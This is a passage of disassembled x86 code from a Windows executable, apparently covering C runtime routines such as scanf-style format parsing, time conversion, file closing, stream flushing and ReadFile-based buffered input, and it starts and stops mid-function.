		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_415DD6
; ---------------------------------------------------------------------------


loc_415DD3:				; CODE XREF: sub_41571D+673j
		mov	[esi], al
		inc	esi


loc_415DD6:				; CODE XREF: sub_41571D+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_415D42
; ---------------------------------------------------------------------------


loc_415DDE:				; CODE XREF: sub_41571D+66Dj
		inc	[ebp+var_30]
		jmp	loc_415D42
; ---------------------------------------------------------------------------


loc_415DE6:				; CODE XREF: sub_41571D+649j
					; sub_41571D+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_416193
		pop	ecx
		pop	ecx


loc_415DF2:				; CODE XREF: sub_41571D+633j
		cmp	[ebp+var_30], esi
		jz	loc_416123
		cmp	[ebp+var_E], 0
		jnz	loc_416084
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_416084
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_415E24
		and	word ptr [eax],	0
		jmp	loc_416084
; ---------------------------------------------------------------------------


loc_415E24:				; CODE XREF: sub_41571D+6FCj
		and	byte ptr [eax],	0
		jmp	loc_416084
; ---------------------------------------------------------------------------


loc_415E2C:				; CODE XREF: sub_41571D+466j
		mov	[ebp+var_D], 1


loc_415E30:				; CODE XREF: sub_41571D+203j
					; sub_41571D+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_415E3E
		mov	[ebp+var_17], 1
		jmp	short loc_415E43
; ---------------------------------------------------------------------------


loc_415E3E:				; CODE XREF: sub_41571D+719j
		cmp	ebx, 2Bh
		jnz	short loc_415E65


loc_415E43:				; CODE XREF: sub_41571D+71Fj
		dec	[ebp+var_C]
		jnz	short loc_415E54
		cmp	[ebp+var_20], 0
		jz	short loc_415E54
		mov	[ebp+var_F], 1
		jmp	short loc_415E65
; ---------------------------------------------------------------------------


loc_415E54:				; CODE XREF: sub_41571D+729j
					; sub_41571D+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_416179
		pop	ecx
		mov	ebx, eax


loc_415E62:				; CODE XREF: sub_41571D+543j
		mov	[ebp+var_14], ebx


loc_415E65:				; CODE XREF: sub_41571D+4FDj
					; sub_41571D+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_415F7E
		cmp	[ebp+var_F], 0
		jnz	loc_415F5C


loc_415E79:				; CODE XREF: sub_41571D+82Cj
		cmp	esi, 78h
		jnz	short loc_415ECD
		cmp	ds:dword_42DA2C, 1
		jle	short loc_415E96
		push	80h
		push	ebx
		call	sub_4133D6
		pop	ecx
		pop	ecx
		jmp	short loc_415EA3
; ---------------------------------------------------------------------------


loc_415E96:				; CODE XREF: sub_41571D+768j
		mov	eax, ds:off_42D820
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_415EA3:				; CODE XREF: sub_41571D+777j
		test	eax, eax
		jz	loc_415F4E
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_418A40
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_416142
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_415F20
; ---------------------------------------------------------------------------


loc_415ECD:				; CODE XREF: sub_41571D+75Fj
		cmp	ds:dword_42DA2C, 1
		jle	short loc_415EE2
		push	4
		push	ebx
		call	sub_4133D6
		pop	ecx
		pop	ecx
		jmp	short loc_415EED
; ---------------------------------------------------------------------------


loc_415EE2:				; CODE XREF: sub_41571D+7B7j
		mov	eax, ds:off_42D820
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_415EED:				; CODE XREF: sub_41571D+7C3j
		test	eax, eax
		jz	short loc_415F4E
		cmp	esi, 6Fh
		jnz	short loc_415F0B
		cmp	ebx, 38h
		jge	short loc_415F4E
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_418A40
		jmp	short loc_415F1A
; ---------------------------------------------------------------------------


loc_415F0B:				; CODE XREF: sub_41571D+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_4108D0


loc_415F1A:				; CODE XREF: sub_41571D+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_415F20:				; CODE XREF: sub_41571D+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_415F38
		dec	[ebp+var_C]
		jz	short loc_415F5C


loc_415F38:				; CODE XREF: sub_41571D+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_416179
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_415E79
; ---------------------------------------------------------------------------


loc_415F4E:				; CODE XREF: sub_41571D+788j
					; sub_41571D+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_416193
		pop	ecx
		pop	ecx


loc_415F5C:				; CODE XREF: sub_41571D+756j
					; sub_41571D+819j
		cmp	[ebp+var_17], 0
		jz	loc_416042
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_416042
; ---------------------------------------------------------------------------


loc_415F7E:				; CODE XREF: sub_41571D+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_41603A


loc_415F88:				; CODE XREF: sub_41571D+90Aj
		cmp	esi, 78h
		jz	short loc_415FCC
		cmp	esi, 70h
		jz	short loc_415FCC
		cmp	ds:dword_42DA2C, 1
		jle	short loc_415FA7
		push	4
		push	ebx
		call	sub_4133D6
		pop	ecx
		pop	ecx
		jmp	short loc_415FB2
; ---------------------------------------------------------------------------


loc_415FA7:				; CODE XREF: sub_41571D+87Cj
		mov	eax, ds:off_42D820
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_415FB2:				; CODE XREF: sub_41571D+888j
		test	eax, eax
		jz	short loc_41602C
		cmp	esi, 6Fh
		jnz	short loc_415FC5
		cmp	ebx, 38h
		jge	short loc_41602C
		shl	edi, 3
		jmp	short loc_416004
; ---------------------------------------------------------------------------


loc_415FC5:				; CODE XREF: sub_41571D+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_416004
; ---------------------------------------------------------------------------


loc_415FCC:				; CODE XREF: sub_41571D+86Ej
					; sub_41571D+873j
		cmp	ds:dword_42DA2C, 1
		jle	short loc_415FE4
		push	80h
		push	ebx
		call	sub_4133D6
		pop	ecx
		pop	ecx
		jmp	short loc_415FF1
; ---------------------------------------------------------------------------


loc_415FE4:				; CODE XREF: sub_41571D+8B6j
		mov	eax, ds:off_42D820
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_415FF1:				; CODE XREF: sub_41571D+8C5j
		test	eax, eax
		jz	short loc_41602C
		push	ebx
		shl	edi, 4
		call	sub_416142
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_416004:				; CODE XREF: sub_41571D+8A6j
					; sub_41571D+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_416016
		dec	[ebp+var_C]
		jz	short loc_41603A


loc_416016:				; CODE XREF: sub_41571D+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_416179
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_415F88
; ---------------------------------------------------------------------------


loc_41602C:				; CODE XREF: sub_41571D+897j
					; sub_41571D+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_416193
		pop	ecx
		pop	ecx


loc_41603A:				; CODE XREF: sub_41571D+865j
					; sub_41571D+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_416042
		neg	edi


loc_416042:				; CODE XREF: sub_41571D+843j
					; sub_41571D+85Cj ...
		cmp	esi, 46h
		jnz	short loc_41604B
		and	[ebp+var_1C], 0


loc_41604B:				; CODE XREF: sub_41571D+928j
		cmp	[ebp+var_1C], 0
		jz	loc_416123
		cmp	[ebp+var_E], 0
		jnz	short loc_416084
		inc	[ebp+var_34]


loc_41605E:				; CODE XREF: sub_41571D+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_416074
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_416084
; ---------------------------------------------------------------------------


loc_416074:				; CODE XREF: sub_41571D+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_416081
		mov	[eax], edi
		jmp	short loc_416084
; ---------------------------------------------------------------------------


loc_416081:				; CODE XREF: sub_41571D+95Ej
		mov	[eax], di


loc_416084:				; CODE XREF: sub_41571D+241j
					; sub_41571D+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_4160D1
; ---------------------------------------------------------------------------


loc_41608F:				; CODE XREF: sub_41571D+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_416179
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_4160FE
		mov	ecx, ds:off_42D820
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_4160D1
		inc	[ebp+var_4]
		push	edi
		call	sub_416179
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_41610C
		dec	[ebp+var_4]


loc_4160D1:				; CODE XREF: sub_41571D+970j
					; sub_41571D+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_4160E7
		cmp	byte ptr [esi],	25h
		jnz	short loc_416129
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_416129
		mov	esi, eax


loc_4160E7:				; CODE XREF: sub_41571D+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_415747
		jmp	short loc_416123
; ---------------------------------------------------------------------------


loc_4160F3:				; CODE XREF: sub_41571D+1F4j
					; sub_41571D+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_416103
; ---------------------------------------------------------------------------


loc_4160FE:				; CODE XREF: sub_41571D+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_416103:				; CODE XREF: sub_41571D+9DFj
		call	sub_416193
		pop	ecx
		pop	ecx
		jmp	short loc_416123
; ---------------------------------------------------------------------------


loc_41610C:				; CODE XREF: sub_41571D+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_416193
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_416193
		add	esp, 10h


loc_416123:				; CODE XREF: sub_41571D+1Fj
					; sub_41571D+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41613A


loc_416129:				; CODE XREF: sub_41571D+9BDj
					; sub_41571D+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_41613D
		cmp	[ebp+var_15], al
		jnz	short loc_41613D
		or	eax, 0FFFFFFFFh
		jmp	short loc_41613D
; ---------------------------------------------------------------------------


loc_41613A:				; CODE XREF: sub_41571D+A0Aj
		mov	eax, [ebp+var_34]


loc_41613D:				; CODE XREF: sub_41571D+A11j
					; sub_41571D+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41571D	endp


; =============== S U B	R O U T	I N E =======================================



sub_416142	proc near		; CODE XREF: sub_41571D+7A3p
					; sub_41571D+8DCp

arg_0		= dword	ptr  4

		cmp	ds:dword_42DA2C, 1
		push	esi
		jle	short loc_41615C
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_4133D6
		pop	ecx
		pop	ecx
		jmp	short loc_41616B
; ---------------------------------------------------------------------------


loc_41615C:				; CODE XREF: sub_416142+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, ds:off_42D820
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41616B:				; CODE XREF: sub_416142+18j
		test	eax, eax
		jnz	short loc_416175
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_416175:				; CODE XREF: sub_416142+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_416142	endp


; =============== S U B	R O U T	I N E =======================================



sub_416179	proc near		; CODE XREF: sub_41571D+1E1p
					; sub_41571D+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_41618B
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_41618B:				; CODE XREF: sub_416179+7j
		push	edx
		call	sub_41647B
		pop	ecx
		retn
sub_416179	endp


; =============== S U B	R O U T	I N E =======================================



sub_416193	proc near		; CODE XREF: sub_41571D+6Bp
					; sub_41571D+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_4161A9
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_418A5F
		pop	ecx
		pop	ecx

locret_4161A9:				; CODE XREF: sub_416193+5j
		retn
sub_416193	endp


; =============== S U B	R O U T	I N E =======================================



sub_4161AA	proc near		; CODE XREF: sub_41571D+63p
					; sub_41571D+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_4161B0:				; CODE XREF: sub_4161AA+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_416179
		mov	edi, eax
		push	edi
		call	sub_418A13
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4161B0
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4161AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4161CE	proc near		; CODE XREF: seg000:00411941p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_41628A
		cmp	ebx, 8Ah
		jg	loc_41628A
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, ds:dword_42E2B4[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_41620D
		cmp	edi, 2
		jle	short loc_41620D
		inc	esi


loc_41620D:				; CODE XREF: sub_4161CE+37j
					; sub_4161CE+3Cj
		call	sub_418ACD
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, ds:dword_42E1D0
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_416280
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_416286
		cmp	ds:dword_42E1D4, 0
		jz	short loc_416286
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_418D40
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_416286


loc_416280:				; CODE XREF: sub_4161CE+90j
		add	ecx, ds:dword_42E1D8


loc_416286:				; CODE XREF: sub_4161CE+96j
					; sub_4161CE+9Fj ...
		mov	eax, ecx
		jmp	short loc_41628D
; ---------------------------------------------------------------------------


loc_41628A:				; CODE XREF: sub_4161CE+13j
					; sub_4161CE+1Fj
		or	eax, 0FFFFFFFFh


loc_41628D:				; CODE XREF: sub_4161CE+BAj
		pop	ebx
		leave
		retn
sub_4161CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_416290	proc near		; CODE XREF: sub_411954+2Ap
					; sub_419246+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, ds:dword_45FF40
		jnb	loc_41632A
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:45FE40h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41632A
		push	edi
		call	sub_4191B2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_416309
		cmp	edi, 1
		jz	short loc_4162D7
		cmp	edi, 2
		jnz	short loc_4162ED


loc_4162D7:				; CODE XREF: sub_416290+40j
		push	2
		call	sub_4191B2
		push	1
		mov	ebp, eax
		call	sub_4191B2
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_416309


loc_4162ED:				; CODE XREF: sub_416290+45j
		push	edi
		call	sub_4191B2
		pop	ecx
		push	eax
		call	ds:dword_41C068	; CloseHandle
		test	eax, eax
		jnz	short loc_416309
		call	ds:dword_41C060	; RtlGetLastWin32Error
		mov	ebp, eax
		jmp	short loc_41630B
; ---------------------------------------------------------------------------


loc_416309:				; CODE XREF: sub_416290+3Bj
					; sub_416290+5Bj ...
		xor	ebp, ebp


loc_41630B:				; CODE XREF: sub_416290+77j
		push	edi
		call	loc_419138
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_416326
		push	ebp
		call	sub_4171B2
		pop	ecx
		jmp	short loc_41633B
; ---------------------------------------------------------------------------


loc_416326:				; CODE XREF: sub_416290+8Bj
		xor	eax, eax
		jmp	short loc_41633E
; ---------------------------------------------------------------------------


loc_41632A:				; CODE XREF: sub_416290+Ej
					; sub_416290+2Fj
		and	ds:dword_45EB18, 0
		mov	ds:dword_45EB14, 9


loc_41633B:				; CODE XREF: sub_416290+94j
		or	eax, 0FFFFFFFFh


loc_41633E:				; CODE XREF: sub_416290+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_416290	endp


; =============== S U B	R O U T	I N E =======================================



sub_416343	proc near		; CODE XREF: sub_411954+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41636C
		test	al, 8
		jz	short loc_41636C
		push	dword ptr [esi+8]
		call	sub_410B5F
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_41636C:				; CODE XREF: sub_416343+Aj
					; sub_416343+Ej
		pop	esi
		retn
sub_416343	endp


; =============== S U B	R O U T	I N E =======================================



sub_41636E	proc near		; CODE XREF: sub_41640E+2Dp
					; sub_41640E+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_416380
		push	esi
		call	sub_41640E
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_416380:				; CODE XREF: sub_41636E+7j
		push	esi
		call	sub_4163A9
		test	eax, eax
		pop	ecx
		jz	short loc_416390
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_416390:				; CODE XREF: sub_41636E+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_4163A5
		push	dword ptr [esi+10h]
		call	sub_4191EF
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4163A5:				; CODE XREF: sub_41636E+26j
		xor	eax, eax
		pop	esi
		retn
sub_41636E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4163A9	proc near		; CODE XREF: sub_411954+1Ap
					; sub_411D8E+37p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_4163F6
		test	ax, 108h
		jz	short loc_4163F6
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_4163F6
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_417D10
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_4163EF
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_4163F6
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_4163F6
; ---------------------------------------------------------------------------


loc_4163EF:				; CODE XREF: sub_4163A9+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_4163F6:				; CODE XREF: sub_4163A9+14j
					; sub_4163A9+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_4163A9	endp


; =============== S U B	R O U T	I N E =======================================



sub_416405	proc near		; CODE XREF: sub_417FCCp
		push	1
		call	sub_41640E
		pop	ecx
		retn
sub_416405	endp


; =============== S U B	R O U T	I N E =======================================



sub_41640E	proc near		; CODE XREF: sub_41636E+Ap
					; sub_416405+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	ds:dword_45FE20, esi
		jle	short loc_41646C


loc_41641F:				; CODE XREF: sub_41640E+5Cj
		mov	eax, ds:dword_45EE04
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_416463
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_416463
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_416449
		push	eax
		call	sub_41636E
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_416463
		inc	ebx
		jmp	short loc_416463
; ---------------------------------------------------------------------------


loc_416449:				; CODE XREF: sub_41640E+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_416463
		test	cl, 2
		jz	short loc_416463
		push	eax
		call	sub_41636E
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_416463
		or	edi, eax


loc_416463:				; CODE XREF: sub_41640E+1Bj
					; sub_41640E+23j ...
		inc	esi
		cmp	esi, ds:dword_45FE20
		jl	short loc_41641F


loc_41646C:				; CODE XREF: sub_41640E+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_416477
		mov	eax, edi


loc_416477:				; CODE XREF: sub_41640E+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41640E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41647B	proc near		; CODE XREF: sub_4119AA+A9p
					; sub_41262C+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41654F
		test	al, 40h
		jnz	loc_41654F
		test	al, 2
		jz	short loc_4164A1
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41654F
; ---------------------------------------------------------------------------


loc_4164A1:				; CODE XREF: sub_41647B+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_4164B5
		push	esi
		call	sub_417EBD
		pop	ecx
		jmp	short loc_4164BA
; ---------------------------------------------------------------------------


loc_4164B5:				; CODE XREF: sub_41647B+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_4164BA:				; CODE XREF: sub_41647B+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_416554
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41653E
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41653E
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_416513
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_4164FC
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, ds:dword_45FE40[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_416501
; ---------------------------------------------------------------------------


loc_4164FC:				; CODE XREF: sub_41647B+6Bj
		mov	edi, offset dword_42DE80


loc_416501:				; CODE XREF: sub_41647B+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_416513
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_416513:				; CODE XREF: sub_41647B+62j
					; sub_41647B+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_416530
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_416530
		test	ch, 4
		jnz	short loc_416530
		mov	dword ptr [esi+18h], 1000h


loc_416530:				; CODE XREF: sub_41647B+9Fj
					; sub_41647B+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41653E:				; CODE XREF: sub_41647B+55j
					; sub_41647B+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41654F:				; CODE XREF: sub_41647B+Aj
					; sub_41647B+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41647B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416554	proc near		; CODE XREF: sub_4119AA+90p
					; sub_41647B+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, ds:dword_45FF40
		jnb	loc_416731
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:45FE40h[eax*4]
		mov	eax, ds:dword_45FE40[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_416731
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_416609
		test	dl, 2
		jnz	short loc_416609
		test	dl, 48h
		jz	short loc_4165C9
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_4165C9
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_4165C9:				; CODE XREF: sub_416554+56j
					; sub_416554+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		call	ds:dword_41C08C	; ReadFile
		test	eax, eax
		jnz	short loc_41661C
		call	ds:dword_41C060	; RtlGetLastWin32Error
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_416604
		mov	ds:dword_45EB14, 9
		mov	ds:dword_45EB18, ecx
		jmp	loc_416742
; ---------------------------------------------------------------------------


loc_416604:				; CODE XREF: sub_416554+99j
		cmp	eax, 6Dh
		jnz	short loc_416610


loc_416609:				; CODE XREF: sub_416554+4Cj
					; sub_416554+51j
		xor	eax, eax
		jmp	loc_416745
; ---------------------------------------------------------------------------


loc_416610:				; CODE XREF: sub_416554+B3j
		push	eax
		call	sub_4171B2
		pop	ecx
		jmp	loc_416742
; ---------------------------------------------------------------------------


loc_41661C:				; CODE XREF: sub_416554+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41672C
		test	edx, edx
		jz	short loc_416641
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_416641
		or	al, 4
		jmp	short loc_416643
; ---------------------------------------------------------------------------


loc_416641:				; CODE XREF: sub_416554+E2j
					; sub_416554+E7j
		and	al, 0FBh


loc_416643:				; CODE XREF: sub_416554+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_416726


loc_41665B:				; CODE XREF: sub_416554+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_416716
		cmp	al, 0Dh
